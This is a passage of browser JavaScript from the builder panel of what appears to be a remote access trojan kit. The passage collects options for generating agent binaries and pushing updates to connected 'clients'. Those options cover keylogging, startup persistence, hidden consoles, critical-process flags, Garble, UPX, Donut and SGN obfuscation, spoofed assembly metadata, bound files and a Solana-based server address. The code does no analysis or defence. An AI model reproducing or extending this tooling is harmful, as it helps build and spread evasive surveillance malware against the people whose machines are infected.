} else { roleBadge.textContent = data.role || ""; } if (data.role === "admin") { roleBadge.classList.add( "bg-purple-900/50", "text-purple-300", "border", "border-purple-800", ); } else if (data.role === "operator") { roleBadge.classList.add( "bg-blue-900/50", "text-blue-300", "border", "border-blue-800", ); } else { roleBadge.classList.add( "bg-slate-700", "text-slate-300", "border", "border-slate-600", ); } if (hasPermission("users:manage")) { usersLink.classList.remove("hidden"); } if (hasPermission("plugins:manage")) { pluginsLink?.classList.remove("hidden"); } if (hasPermission("deploys:manage")) { document.getElementById("deploy-link")?.classList.remove("hidden"); } if (hasPermission("clients:build") || data.canBuild) { buildLink?.classList.remove("hidden"); } if (hasPermission("scripts:manage")) { scriptsLink?.classList.remove("hidden"); } if (!hasPermission("clients:build") && !data.canBuild) { buildBtn.disabled = true; buildBtn.innerHTML = ' Build requires permission'; if (profileSaveBtn) profileSaveBtn.disabled = true; if (profileLoadBtn) profileLoadBtn.disabled = true; if (profileDeleteBtn) profileDeleteBtn.disabled = true; if (profileExportBtn) profileExportBtn.disabled = true; if (profileImportBtn) profileImportBtn.disabled = true; } await loadServerVersion(); await loadSolRpcEndpoints(); await loadSavedBuilds(); await loadBuildProfiles(); const toggleAllBuildsBtn = document.getElementById("toggle-all-builds-btn"); const toggleAllBuildsLabel = document.getElementById("toggle-all-builds-label"); if (toggleAllBuildsBtn && currentUserRole === "admin") { toggleAllBuildsBtn.classList.remove("hidden"); toggleAllBuildsBtn.addEventListener("click", async () => { showAllBuilds = !showAllBuilds; if (toggleAllBuildsLabel) { toggleAllBuildsLabel.textContent = showAllBuilds ? "My Builds" : "Show All"; } buildFilesDiv.innerHTML = ""; await loadSavedBuilds(); }); } } catch (err) { console.error("Failed to fetch user info:", err); window.location.href = "/"; } } if (logoutBtn && !logoutBtn.dataset.boundLogout) { logoutBtn.dataset.boundLogout = "true"; logoutBtn.addEventListener("click", async () => { try { await fetch("/api/logout", { method: "POST", headers: { "Content-Type": "application/json" }, }); } catch (err) { console.error("Logout error:", err); } window.location.href = "/"; }); } buildProfileManager.bindProfileControls(); form?.addEventListener("submit", async (e) => { e.preventDefault(); if (isBuilding) return; const platformCheckboxes = form.querySelectorAll( 'input[name="platform"]:checked', ); const platforms = Array.from(platformCheckboxes).map((cb) => cb.value); if (platforms.length === 0) { alert("Please select at least one platform to build"); return; } if (!validateStartupName()) { document.getElementById("startup-name")?.focus(); return; } if (disableCgoInput?.checked && !confirm( "CGO is disabled. Native features such as voice/audio, macOS keystroke capture and permission checks, native Linux/macOS plugins, and Windows GPU encoder integrations may not work.\n\nContinue with a limited CGO-disabled build?" )) { disableCgoInput.focus(); return; } if (needsMacosSdkUpload() && (!macosSdkFileInput?.files?.[0] || !macosSdkRightsInput?.checked)) { alert(!macosSdkFileInput?.files?.[0] ? "Select a macOS SDK archive for this Darwin CGO build." : "Confirm that you have permission to use the uploaded macOS SDK."); macosSdkFileInput?.focus(); return; } const rawServerList = form.querySelector("#raw-server-list")?.checked || false; const serverUrlRaw = form.querySelector("#server-url").value.trim(); const serverUrl = rawServerList ? serverUrlRaw : stripServerUrlPrefix(serverUrlRaw); if (isLocalServerAddress(serverUrlRaw) && !confirm( "WARNING: LOCAL SERVER ADDRESS\n\nThis agent will not be able to connect from outside this machine or local network. Outbound connections from remote networks will fail.\n\nBuild with this local address anyway?" )) { serverUrlInput?.focus(); return; } const mutex = form.querySelector("#mutex")?.value.trim() || ""; const disableMutex = form.querySelector('input[name="disable-mutex"]')?.checked || false; const stripDebug = form.querySelector('input[name="strip-debug"]').checked; const disableCgo = form.querySelector('input[name="disable-cgo"]').checked; const enableNvenc = form.querySelector('input[name="enable-nvenc"]')?.checked ?? true; const enableAmf = form.querySelector('input[name="enable-amf"]')?.checked ?? true; const enableQsv = form.querySelector('input[name="enable-qsv"]')?.checked ?? true; const obfuscate = form.querySelector('input[name="obfuscate"]').checked; const enablePersistence = form.querySelector( 'input[name="enable-persistence"]', ).checked; const hasWindowsTarget = platforms.some((platform) => platform.startsWith("windows-")); const hasPersistentUnixTarget = platforms.some((p) => p.startsWith("linux-") || p.startsWith("darwin-")); const persistenceMethods = hasWindowsTarget ? Array.from(form.querySelectorAll('input[name="persistence-method"]:checked')).map((el) => el.value) : undefined; const startupNameVal = (hasWindowsTarget || hasPersistentUnixTarget) ? (form.querySelector("#startup-name")?.value.trim() || "") : ""; const hideConsole = form.querySelector( 'input[name="hide-console"]', ).checked; const noPrinting = form.querySelector( 'input[name="no-printing"]', ).checked; const enableKeylogger = form.querySelector('input[name="enable-keylogger"]')?.checked ?? true; const outputNameVal = form.querySelector("#output-name")?.value.trim() || ""; const initialClientTagVal = form.querySelector("#initial-client-tag")?.value.trim() || ""; const garbleLiterals = form.querySelector('input[name="garble-literals"]')?.checked || false; const garbleTiny = form.querySelector('input[name="garble-tiny"]')?.checked || false; const garbleSeedVal = form.querySelector("#garble-seed")?.value.trim() || ""; const assemblyTitle = form.querySelector("#assembly-title")?.value.trim() || ""; const assemblyProduct = form.querySelector("#assembly-product")?.value.trim() || ""; const assemblyCompany = form.querySelector("#assembly-company")?.value.trim() || ""; const assemblyVersion = form.querySelector("#assembly-version")?.value.trim() || ""; const assemblyCopyright = form.querySelector("#assembly-copyright")?.value.trim() || ""; const requireAdmin = form.querySelector('input[name="require-admin"]')?.checked || false; const criticalProcess = form.querySelector('input[name="critical-process"]')?.checked || false; const outputExtension = form.querySelector("#output-extension")?.value || ".exe"; const sleepSecondsRaw = parseInt(form.querySelector("#sleep-seconds")?.value || "0", 10); const sleepSeconds = !isNaN(sleepSecondsRaw) && sleepSecondsRaw > 0 ? sleepSecondsRaw : 0; const buildConfig = { platforms, serverUrl: serverUrl || undefined, rawServerList, solMemo: document.getElementById("sol-memo")?.checked || false, solAddress: document.getElementById("sol-address")?.value.trim() || undefined, solRpcEndpoints: document.getElementById("sol-rpc-endpoints")?.value.trim() || undefined, mutex: disableMutex ? "" : mutex || undefined, disableMutex, stripDebug, disableCgo, enableNvenc, enableAmf, enableQsv, obfuscate, enablePersistence, persistenceMethods: enablePersistence && hasWindowsTarget ? (persistenceMethods && persistenceMethods.length > 0 ? persistenceMethods : ['startup']) : undefined, startupName: enablePersistence && (hasWindowsTarget || hasPersistentUnixTarget) && startupNameVal ? startupNameVal : undefined, hideConsole, noPrinting, disableKeylogger: !enableKeylogger, enableWebrtc: form.querySelector('input[name="enable-webrtc"]')?.checked || false, promptWebrtcFirewallOnStart: form.querySelector('input[name="enable-webrtc"]')?.checked === true && (form.querySelector('input[name="prompt-webrtc-firewall-on-start"]')?.checked || false), enableWinRE: form.querySelector('input[name="enable-winre"]')?.checked || false, fetchPublicIP: form.querySelector('input[name="fetch-public-ip"]')?.checked || false, outputName: outputNameVal || undefined, initialClientTag: initialClientTagVal || undefined, garbleLiterals: obfuscate ? garbleLiterals : undefined, garbleTiny: obfuscate ? garbleTiny : undefined, garbleSeed: obfuscate && garbleSeedVal ? garbleSeedVal : undefined, assemblyTitle: assemblyTitle || undefined, assemblyProduct: assemblyProduct || undefined, assemblyCompany: assemblyCompany || undefined, assemblyVersion: assemblyVersion || undefined, assemblyCopyright: assemblyCopyright || undefined, requireAdmin, criticalProcess, outputExtension, sleepSeconds: sleepSeconds > 0 ? sleepSeconds : undefined, iconBase64: pendingIconBase64 || undefined, enableUpx: form.querySelector('input[name="enable-upx"]')?.checked || false, upxStripHeaders: form.querySelector('input[name="upx-strip-headers"]')?.checked || false, boundFiles: boundFiles.length > 0 ? boundFiles.map((f) => ({ name: f.name, data: f.base64, targetOS: f.targetOS, execute: f.execute })) : undefined, iosBundleId: platforms.some(p => p.startsWith('ios-')) ? (form.querySelector("#ios-bundle-id")?.value.trim() || undefined) : undefined, useDonut: document.getElementById("donut-mode")?.checked || false, donutSingleThreaded: document.getElementById("donut-single-threaded")?.checked || false, donutExitMode: parseInt(document.getElementById("donut-exit-mode")?.value, 10) || undefined, donutEntropy: parseInt(document.getElementById("donut-entropy")?.value, 10) || undefined, donutPreserveHeaders: document.getElementById("donut-preserve-headers")?.checked || false, donutResumeOffset: parseInt(document.getElementById("donut-resume-offset")?.value, 10) || undefined, useLinuxShellcode: document.getElementById("linux-shellcode-mode")?.checked || false, shellcodeConsole: document.getElementById("shellcode-console")?.checked || false, useSgn: document.getElementById("sgn-mode")?.checked || false, sgnIterations: parseInt(document.getElementById("sgn-iterations")?.value, 10) || 1, outputSgnTxt: pendingSgnTxtBuild, uploadToFileShare: pendingUpload, buildPlugins: collectBuildPluginSettings(), }; const hasAndroid = platforms.some(p => p.startsWith('android-')); const hasBsd = platforms.some( p => p.startsWith('freebsd-') || p.startsWith('openbsd-'), ); const hasIos = platforms.some(p => p.startsWith('ios-')); if (hasAndroid || hasBsd || hasIos) { let warningText = 'WARNING: Some selected targets are experimental/untested.\n\n'; if (hasAndroid) { warningText += '- Android targets are severely untested and will probably not work right.\n'; } if (hasBsd) { warningText += '- BSD targets are severely untested and will probably not work right.\n'; } if (hasIos) { warningText += '- iOS targets are experimental (POC). Most features will be stubbed. Output will be packaged as IPA if possible.\n'; } warningText += '\nContinue with build anyway?'; if (!confirm(warningText)) { return; } } if (hasAndroid && enablePersistence) { if (!confirm( '⚠️ WARNING: Persistence is NOT supported on Android\n\n' + 'The persistence setting will be ignored for Android builds.\n' + 'Persistence is only supported on: Windows, Linux, and macOS\n\n' + 'Continue with build anyway?' )) { return; } } const pluginRequirementErrors = validateBuildPluginRequirements(); if (pluginRequirementErrors.length > 0) { alert(`Build plugin requirements are not met:\n\n${pluginRequirementErrors.map((msg) => `- ${msg}`).join("\n")}`); return; } await startBuild(buildConfig); }); async function startBuild(config) { isBuilding = true; buildBtn.disabled = true; buildBtn.innerHTML = ' Building...'; if (buildUpdateAllBtn) { buildUpdateAllBtn.disabled = true; buildUpdateAllBtn.innerHTML = ' Building...'; } if (buildUploadBtn) { buildUploadBtn.disabled = true; buildUploadBtn.innerHTML = ' Building...'; } if (buildSgnTxtBtn) { buildSgnTxtBtn.disabled = true; setSgnTxtButtonState("Building TXT...", "fa-solid fa-spinner fa-spin"); } revealElement(buildStatus, { duration: 220, offset: 6 }); buildStatusText.textContent = "Starting build..."; buildStatus.querySelector("div").className = "flex items-center gap-2 p-3 rounded-lg bg-blue-900/40 border border-blue-700/60"; buildStatus.querySelector("i").className = "fa-solid fa-spinner fa-spin"; buildResults.classList.add("hidden"); buildFilesDiv.innerHTML = ""; resetBuildLog(); setBuildLogFollow(true); addBuildOutput("Starting build process...\n", "info"); try { if (needsMacosSdkUpload()) { buildStatusText.textContent = "Uploading macOS SDK..."; addBuildOutput("Uploading user-provided macOS SDK...\n", "info"); config.macosSdkUploadId = await uploadMacosSdk(); } const res = await fetch("/api/build/start", { method: "POST", headers: { "Content-Type": "application/json", }, credentials: "include", body: JSON.stringify(config), }); if (!res.ok) { const error = await res.json(); throw new Error(error.error || "Build failed to start"); } const data = await res.json(); const buildId = data.buildId; addBuildOutput(`Build ID: ${buildId}\n`, "info"); addBuildOutput( `Building for platforms: ${config.platforms.join(", ")}\n\n`, "info", ); await streamBuildOutput(buildId, config); } catch (err) { addBuildOutput(`\nERROR: ${err.message}\n`, "error"); if (!config.disableCgo) { addBuildOutput( "Hint: This build used CGO. If it keeps failing, try enabling the 'Disable CGO' option and build again.\n", "warn", ); } buildStatusText.textContent = "Build failed"; buildStatus.querySelector("div").className = "flex items-center gap-2 p-3 rounded-lg bg-red-900/40 border border-red-700/60"; buildStatus.querySelector("i").className = "fa-solid fa-circle-xmark"; pendingUpdateAll = false; } finally { isBuilding = false; buildBtn.disabled = false; buildBtn.innerHTML = ' Start Build'; if (buildUpdateAllBtn) { buildUpdateAllBtn.disabled = false; buildUpdateAllBtn.innerHTML = ' Build & Update All'; } if (buildUploadBtn) { buildUploadBtn.disabled = false; buildUploadBtn.innerHTML = ' Build & Upload'; } if (buildSgnTxtBtn) { buildSgnTxtBtn.disabled = false; updateSgnTxtLockState(); } pendingUpload = false; pendingSgnTxtBuild = false; } } async function checkBuildInfo(buildId) { try { const res = await fetch(`/api/build/${buildId}/info`, { credentials: "include" }); if (!res.ok) return null; return await res.json(); } catch { return null; } } async function streamBuildOutput(buildId, config = {}) { const MAX_RECONNECT_ATTEMPTS = 10; const RECONNECT_DELAY_MS = 2000; let attempts = 0; let completed = false; const uploadedShareFiles = []; while (!completed && attempts <= MAX_RECONNECT_ATTEMPTS) { if (attempts > 0) { addBuildOutput(`\nReconnecting to build stream (attempt ${attempts}/${MAX_RECONNECT_ATTEMPTS})...\n`, "warn"); buildStatusText.textContent = "Reconnecting to build stream..."; await new Promise((r) => setTimeout(r, RECONNECT_DELAY_MS)); const info = await checkBuildInfo(buildId); if (info && (info.status === "completed" || info.status === "success")) { buildStatusText.textContent = "Build completed successfully!"; buildStatus.querySelector("div").className = "flex items-center gap-2 p-3 rounded-lg bg-green-900/40 border border-green-700/60"; buildStatus.querySelector("i").className = "fa-solid fa-circle-check"; addBuildOutput("\nBuild completed while reconnecting.\n", "success"); if (info.files && info.files.length > 0) { const buildData = { id: info.id || buildId, status: "success", startTime: info.startTime || Date.now(), expiresAt: info.expiresAt, files: info.files, }; saveBuildToStorage(buildData.id, buildData); revealBuildResults(); displayBuild(buildData); if (pendingUpdateAll) { pendingUpdateAll = false; await pushUpdateToAllClients(buildData.id, pendingUpdateHideWindow); } } return; } else if (info && info.status === "failed") { buildStatusText.textContent = "Build failed"; buildStatus.querySelector("div").className = "flex items-center gap-2 p-3 rounded-lg bg-red-900/40 border border-red-700/60"; buildStatus.querySelector("i").className = "fa-solid fa-circle-xmark"; addBuildOutput("\nBuild failed while reconnecting.\n", "error"); return; } // status is still "running", reconnect to stream } let res; try { res = await fetch(`/api/build/${buildId}/stream`, { credentials: "include" }); } catch (err) { attempts++; continue; } if (!res.ok) { if (attempts > 0) { const info = await checkBuildInfo(buildId); if (info && (info.status === "completed" || info.status === "success")) { buildStatusText.textContent = "Build completed successfully!"; buildStatus.querySelector("div").className = "flex items-center gap-2 p-3 rounded-lg bg-green-900/40 border border-green-700/60"; buildStatus.querySelector("i").className = "fa-solid fa-circle-check"; if (info.files && info.files.length > 0) { const buildData = { id: info.id || buildId, status: "success", startTime: info.startTime || Date.now(), expiresAt: info.expiresAt, files: info.files, }; saveBuildToStorage(buildData.id, buildData); revealBuildResults(); displayBuild(buildData); } return; } } throw new Error("Failed to connect to build stream"); } const reader = res.body.getReader(); const decoder = new TextDecoder(); let buffer = ""; try { while (true) { const { done, value } = await reader.read(); if (done) break; buffer += decoder.decode(value, { stream: true }); const lines = buffer.split("\n"); buffer = lines.pop(); for (const line of lines) { if (!line.trim()) continue; if (line.startsWith("data: ")) { const data = JSON.parse(line.substring(6)); if (data.type === "output") { addBuildOutput(data.text, data.level || "info"); } else if (data.type === "status") { buildStatusText.textContent = data.text; } else if (data.type === "file_share_uploaded") { uploadedShareFiles.push({ id: data.id, filename: data.filename, platform: data.platform, size: data.size, }); } else if (data.type === "complete") { buildStatusText.textContent = data.success ? "Build completed successfully!" : "Build failed"; buildStatus.querySelector("div").className = data.success ? "flex items-center gap-2 p-3 rounded-lg bg-green-900/40 border border-green-700/60" : "flex items-center gap-2 p-3 rounded-lg bg-red-900/40 border border-red-700/60"; buildStatus.querySelector("i").className = data.success ? "fa-solid fa-circle-check" : "fa-solid fa-circle-xmark"; if (!data.success && !config.disableCgo) { addBuildOutput( "Hint: This build used CGO. If it keeps failing, try enabling the 'Disable CGO' option and build again.\n", "warn", ); } if (data.success && data.files) { const buildData = { id: data.buildId, status: "success", startTime: Date.now(), expiresAt: data.expiresAt, files: data.files, }; saveBuildToStorage(data.buildId, buildData); revealBuildResults(); displayBuild(buildData); if (uploadedShareFiles.length > 0) { renderShareLinksPanel(uploadedShareFiles); } // Auto-push update if "Build & Update All" was used if (pendingUpdateAll) { pendingUpdateAll = false; await pushUpdateToAllClients(data.buildId, pendingUpdateHideWindow); } } reader.cancel(); completed = true; return; } else if (data.type === "error") { addBuildOutput(`\nERROR: ${data.error}\n`, "error"); } } } } // Stream ended cleanly without a "complete" event — build may still be running completed = true; } catch (streamErr) { // Network error — try to reconnect try { reader.releaseLock(); } catch {} attempts++; continue; } finally { try { reader.releaseLock(); } catch {} } } if (!completed && attempts > MAX_RECONNECT_ATTEMPTS) { const info = await checkBuildInfo(buildId); if (info && (info.status === "completed" || info.status === "success")) { buildStatusText.textContent = "Build completed successfully!"; buildStatus.querySelector("div").className = "flex items-center gap-2 p-3 rounded-lg bg-green-900/40 border border-green-700/60"; buildStatus.querySelector("i").className = "fa-solid fa-circle-check"; addBuildOutput("\nBuild completed (recovered after stream loss).\n", "success"); if (info.files && info.files.length > 0) { const buildData = { id: info.id || buildId, status: "success", startTime: info.startTime || Date.now(), expiresAt: info.expiresAt, files: info.files, }; saveBuildToStorage(buildData.id, buildData); revealBuildResults(); displayBuild(buildData); } } else { addBuildOutput("\nLost connection to build stream. The build may still be running on the server.\n", "warn"); addBuildOutput("Refresh the page to check build results.\n", "warn"); } } } function addBuildOutput(text, level = "info") { const rawText = String(text ?? ""); if (!rawText) return; buildLogRawChunks.push(rawText); const normalized = rawText.replace(/\r\n?/g, "\n"); normalized.split("\n").forEach((line) => appendBuildLogLine(line, level)); updateBuildLogSummary(); if (buildLogFollow && buildOutputContainer) { requestAnimationFrame(() => { buildOutputContainer.scrollTop = buildOutputContainer.scrollHeight; }); } } function renderShareLinksPanel(items) { const existing = document.getElementById("build-share-links"); if (existing) existing.remove(); const panel = document.createElement("div"); panel.id = "build-share-links"; panel.className = "mt-3 p-3 bg-emerald-950/30 border border-emerald-700/50 rounded-lg space-y-2"; const header = document.createElement("div"); header.className = "flex items-center gap-2 text-sm font-medium text-emerald-300"; header.innerHTML = 'Uploaded to File Share' + `(${items.length})`; panel.appendChild(header); for (const item of items) { const url = `${window.location.origin}/api/file-share/${item.id}/download`; const row = document.createElement("div"); row.className = "flex items-center gap-2 text-xs"; const label = document.createElement("span"); label.className = "text-slate-400 shrink-0"; label.textContent = item.platform || item.filename; const input = document.createElement("input"); input.type = "text"; input.readOnly = true; input.value = url; input.className = "flex-1 bg-slate-900 border border-slate-700 rounded px-2 py-1 text-slate-200 font-mono select-all"; input.addEventListener("focus", () => input.select()); const copyBtn = document.createElement("button"); copyBtn.type = "button"; copyBtn.className = "px-2 py-1 rounded bg-emerald-700 hover:bg-emerald-600 text-white text-xs flex items-center gap-1 shrink-0"; copyBtn.innerHTML = 'Copy'; copyBtn.addEventListener("click", async () => { try { await navigator.clipboard.writeText(url); copyBtn.innerHTML = 'Copied'; if (window.showToast) window.showToast("Download link copied to clipboard", "success"); setTimeout(() => { copyBtn.innerHTML = 'Copy'; }, 1500); } catch { input.select(); document.execCommand?.("copy"); } }); row.appendChild(label); row.appendChild(input); row.appendChild(copyBtn); panel.appendChild(row); } buildFilesDiv.appendChild(panel); } function showBuildFiles(files, buildId, expiresAt) { revealBuildResults(); buildFilesDiv.innerHTML = ""; const buildInfoDiv = document.createElement("div"); buildInfoDiv.className = "mb-3 p-3 bg-slate-900/70 border border-slate-700 rounded-lg"; const infoRow = document.createElement("div"); infoRow.className = "flex items-center justify-between gap-2 text-sm"; const left = document.createElement("div"); left.className = "flex items-center gap-2"; const idIcon = document.createElement("i"); idIcon.className = "fa-solid fa-fingerprint text-slate-400"; const idLabel = document.createElement("span"); idLabel.className = "text-slate-300"; idLabel.textContent = "Build ID:"; const idCode = document.createElement("code"); idCode.className = "text-blue-400 font-mono"; idCode.textContent = buildId; left.appendChild(idIcon); left.appendChild(idLabel); left.appendChild(idCode); const right = document.createElement("div"); right.className = "flex items-center gap-2"; const clockIcon = document.createElement("i"); clockIcon.className = "fa-solid fa-clock text-slate-400"; const expiresLabel = document.createElement("span"); expiresLabel.className = "text-slate-300"; expiresLabel.textContent = "Expires in:"; const timer = document.createElement("span"); timer.id = "expiration-timer"; timer.className = "text-yellow-400 font-medium"; timer.dataset.controller = "countdown"; timer.dataset.countdownExpiresAtValue = String(expiresAt); timer.textContent = "Calculating..."; right.appendChild(clockIcon); right.appendChild(expiresLabel); right.appendChild(timer); infoRow.appendChild(left); infoRow.appendChild(right); buildInfoDiv.appendChild(infoRow); buildFilesDiv.appendChild(buildInfoDiv); files.forEach((file) => { const fileDiv = document.createElement("div"); fileDiv.className = "flex items-center justify-between gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg"; const fileInfo = document.createElement("div"); fileInfo.className = "flex items-center gap-2"; const fileIcon = document.createElement("i"); fileIcon.className = "fa-solid fa-file-code text-blue-400"; const fileName = document.createElement("span"); fileName.className = "font-medium"; fileName.textContent = file.name; const fileSize = document.createElement("span"); fileSize.className = "text-xs text-slate-500"; fileSize.textContent = formatFileSize(file.size); fileInfo.appendChild(fileIcon); fileInfo.appendChild(fileName); fileInfo.appendChild(fileSize); const downloadBtn = document.createElement("a"); downloadBtn.href = `/api/build/download/${encodeURIComponent(file.name)}`; downloadBtn.download = ""; downloadBtn.className = "inline-flex items-center gap-1 px-3 py-1 rounded bg-blue-600 hover:bg-blue-700 text-white text-sm transition-colors"; downloadBtn.innerHTML = ' Download'; fileDiv.appendChild(fileInfo); fileDiv.appendChild(downloadBtn); buildFilesDiv.appendChild(fileDiv); }); } const buildUpdateAllBtn = document.getElementById("build-update-all-btn"); const updateAllModal = document.getElementById("update-all-modal"); const updateAllModalBody = document.getElementById("update-all-modal-body"); const updateAllCancel = document.getElementById("update-all-cancel"); const updateAllConfirm = document.getElementById("update-all-confirm"); let pendingUpdateAll = false; let pendingUpdateHideWindow = false; let pendingUpload = false; const buildUploadBtn = document.getElementById("build-upload-btn"); let pendingSgnTxtBuild = false; const buildSgnTxtBtn = document.getElementById("build-sgn-txt-btn"); const buildSgnTxtLockbox = document.getElementById("build-sgn-txt-lockbox"); const SGN_TXT_UNLOCK_CLICKS = 10; let sgnTxtUnlockClicks = 0; let sgnTxtUnlocked = false; function getSgnTxtUnlockStorageKey() { const userPart = String(currentUsername || "unknown").trim().toLowerCase() || "unknown"; return `overlord_sgn_txt_unlocked:${userPart}`; } function loadSgnTxtUnlockState() { try { if (localStorage.getItem(getSgnTxtUnlockStorageKey()) === "true") { sgnTxtUnlockClicks = SGN_TXT_UNLOCK_CLICKS; sgnTxtUnlocked = true; } } catch {} updateSgnTxtLockState(); } function saveSgnTxtUnlockState() { try { localStorage.setItem(getSgnTxtUnlockStorageKey(), "true"); } catch {} } function setSgnTxtButtonState(label, iconClass) { if (!buildSgnTxtBtn) return; buildSgnTxtBtn.innerHTML = ""; const icon = document.createElement("i"); icon.className = iconClass; const text = document.createElement("span"); text.textContent = label; buildSgnTxtBtn.appendChild(icon); buildSgnTxtBtn.appendChild(text); } function pulseSgnTxtLockbox() { if (!buildSgnTxtLockbox) return; buildSgnTxtLockbox.classList.remove("pulse"); void buildSgnTxtLockbox.offsetWidth; buildSgnTxtLockbox.classList.add("pulse"); } function updateSgnTxtLockState() { if (!buildSgnTxtBtn || !buildSgnTxtLockbox) return; const progress = Math.min(1, Math.max(0, sgnTxtUnlockClicks / SGN_TXT_UNLOCK_CLICKS)); const stageProgress = (start, end) => Math.min(1, Math.max(0, (progress - start) / (end - start))); const crackProgress = Math.min(1, Math.sqrt(progress) * 1.18); const midCrackProgress = Math.sqrt(stageProgress(0.18, 0.72)); const lateCrackProgress = Math.sqrt(stageProgress(0.48, 0.95)); buildSgnTxtLockbox.style.setProperty("--sgn-chain-brightness", String(Math.max(0.72, 1 - progress * 0.28))); buildSgnTxtLockbox.style.setProperty("--sgn-chain-opacity", String(Math.max(0.48, 0.9 - progress * 0.42))); buildSgnTxtLockbox.style.setProperty("--sgn-crack-opacity", String(Math.max(0, Math.min(1, crackProgress)))); buildSgnTxtLockbox.style.setProperty("--sgn-crack-dash", String(Math.max(0, 1 - crackProgress))); buildSgnTxtLockbox.style.setProperty("--sgn-crack-mid-opacity", String(midCrackProgress * 0.9)); buildSgnTxtLockbox.style.setProperty("--sgn-crack-mid-dash", String(Math.max(0, 1 - midCrackProgress))); buildSgnTxtLockbox.style.setProperty("--sgn-crack-late-opacity", String(lateCrackProgress * 0.95)); buildSgnTxtLockbox.style.setProperty("--sgn-crack-late-dash", String(Math.max(0, 1 - lateCrackProgress))); buildSgnTxtLockbox.style.setProperty("--sgn-lock-tilt", `${Math.round(progress * 10)}deg`); buildSgnTxtLockbox.classList.toggle("locked", !sgnTxtUnlocked); buildSgnTxtLockbox.classList.toggle("unlocked", sgnTxtUnlocked); if (sgnTxtUnlocked) { setSgnTxtButtonState("Build SGN TXT", "fa-solid fa-file-lines"); return; } setSgnTxtButtonState("Build SGN TXT", "fa-solid fa-file-lines"); } updateSgnTxtLockState(); function showUpdateAllModal() { if (!updateAllModal) return; updateAllModal.classList.remove("hidden"); updateAllModal.classList.add("flex"); } function hideUpdateAllModal() { if (!updateAllModal) return; updateAllModal.classList.remove("flex"); updateAllModal.classList.add("hidden"); if (updateAllConfirm) { updateAllConfirm.innerHTML = ' Build & Update'; updateAllConfirm.disabled = false; } if (updateAllCancel) { updateAllCancel.textContent = "Cancel"; } } if (updateAllCancel) { updateAllCancel.addEventListener("click", hideUpdateAllModal); } if (updateAllModal) { updateAllModal.addEventListener("click", (e) => { if (e.target === updateAllModal) hideUpdateAllModal(); }); } if (buildUpdateAllBtn) { buildUpdateAllBtn.addEventListener("click", async () => { if (isBuilding) return; const platformCheckboxes = form.querySelectorAll('input[name="platform"]:checked'); const platforms = Array.from(platformCheckboxes).map((cb) => cb.value); if (platforms.length === 0) { alert("Please select at least one platform to build"); return; } showUpdateAllModal(); updateAllConfirm.disabled = true; updateAllModalBody.innerHTML = '

Checking online clients...

'; try { const res = await fetch("/api/build/update-eligible", { method: "POST", headers: { "Content-Type": "application/json" }, credentials: "include", body: JSON.stringify({ platforms }), }); if (!res.ok) { const data = await res.json().catch(() => ({})); updateAllModalBody.innerHTML = `

${data.error || "Failed to check eligible clients"}

`; return; } const data = await res.json(); let html = ""; html += `

${data.eligible} client(s) will receive the update after build.

`; html += '
'; html += `

${data.totalOnline} total online client(s)

`; if (data.skippedInMemory > 0) { html += `

${data.skippedInMemory} client(s) will be skipped (running in-memory)

`; } if (data.skippedNoMatch > 0) { html += `

${data.skippedNoMatch} client(s) will be skipped (no matching platform)

`; } html += "
"; if (data.eligible === 0 && data.totalOnline === 0) { html += '

No clients are currently online. The build will still run but no updates will be sent.

'; } html += '

This will build the client and push the update to all eligible clients. Clients will restart automatically.

'; updateAllConfirm.disabled = false; updateAllModalBody.innerHTML = html; } catch (err) { updateAllModalBody.innerHTML = `

Error: ${err.message}

`; } }); } if (updateAllConfirm) { updateAllConfirm.addEventListener("click", () => { hideUpdateAllModal(); pendingUpdateAll = true; pendingUpdateHideWindow = !!form.querySelector('input[name="hide-console"]')?.checked; form.requestSubmit(); }); } if (buildUploadBtn) { buildUploadBtn.addEventListener("click", () => { if (isBuilding) return; const platformCheckboxes = form.querySelectorAll('input[name="platform"]:checked'); if (platformCheckboxes.length === 0) { alert("Please select at least one platform to build"); return; } pendingUpload = true; form.requestSubmit(); }); } if (buildSgnTxtBtn) { buildSgnTxtBtn.addEventListener("click", () => { if (isBuilding) return; const sgnEnabled = document.getElementById("sgn-mode")?.checked || false; if (!sgnTxtUnlocked) { sgnTxtUnlockClicks += 1; if (sgnTxtUnlockClicks >= SGN_TXT_UNLOCK_CLICKS) { sgnTxtUnlocked = true; saveSgnTxtUnlockState(); updateSgnTxtLockState(); if (window.showToast) window.showToast("SGN TXT build unlocked", "success"); } else { updateSgnTxtLockState(); } pulseSgnTxtLockbox(); return; } if (!sgnEnabled) { alert("Enable the SGN Polymorphic Encoding option before building an SGN TXT file."); return; } const platformCheckboxes = form.querySelectorAll('input[name="platform"]:checked'); if (platformCheckboxes.length === 0) { alert("Please select at least one platform to build"); return; } pendingSgnTxtBuild = true; form.requestSubmit(); }); } async function pushUpdateToAllClients(buildId, hideWindow) { addBuildOutput("\n── Pushing update to all eligible clients ──\n", "info"); try { const res = await fetch("/api/build/update-all", { method: "POST", headers: { "Content-Type": "application/json" }, credentials: "include", body: JSON.stringify({ buildId, hideWindow }), }); const data = await res.json().catch(() => ({})); if (!res.ok) { addBuildOutput(`Update failed: ${data.error || "Unknown error"}\n`, "error"); return; } const succeeded = data.successCount || 0; const total = data.totalOnline || 0; const failed = (data.results || []).filter((r) => !r.ok); const inMemoryCount = failed.filter((r) => r.reason === "in_memory").length; const noMatchCount = failed.filter((r) => r.reason === "no_matching_build").length; addBuildOutput(`Update sent to ${succeeded} of ${total} online client(s)\n`, "success"); if (inMemoryCount > 0) { addBuildOutput(` ${inMemoryCount} client(s) skipped (running in-memory)\n`, "warn"); } if (noMatchCount > 0) { addBuildOutput(` ${noMatchCount} client(s) skipped (no matching build)\n`, "warn"); } const otherFailed = failed.filter((r) => r.reason !== "in_memory" && r.reason !== "no_matching_build"); if (otherFailed.length > 0) { addBuildOutput(` ${otherFailed.length} client(s) failed for other reasons\n`, "warn"); } } catch (err) { addBuildOutput(`Update error: ${err.message}\n`, "error"); } }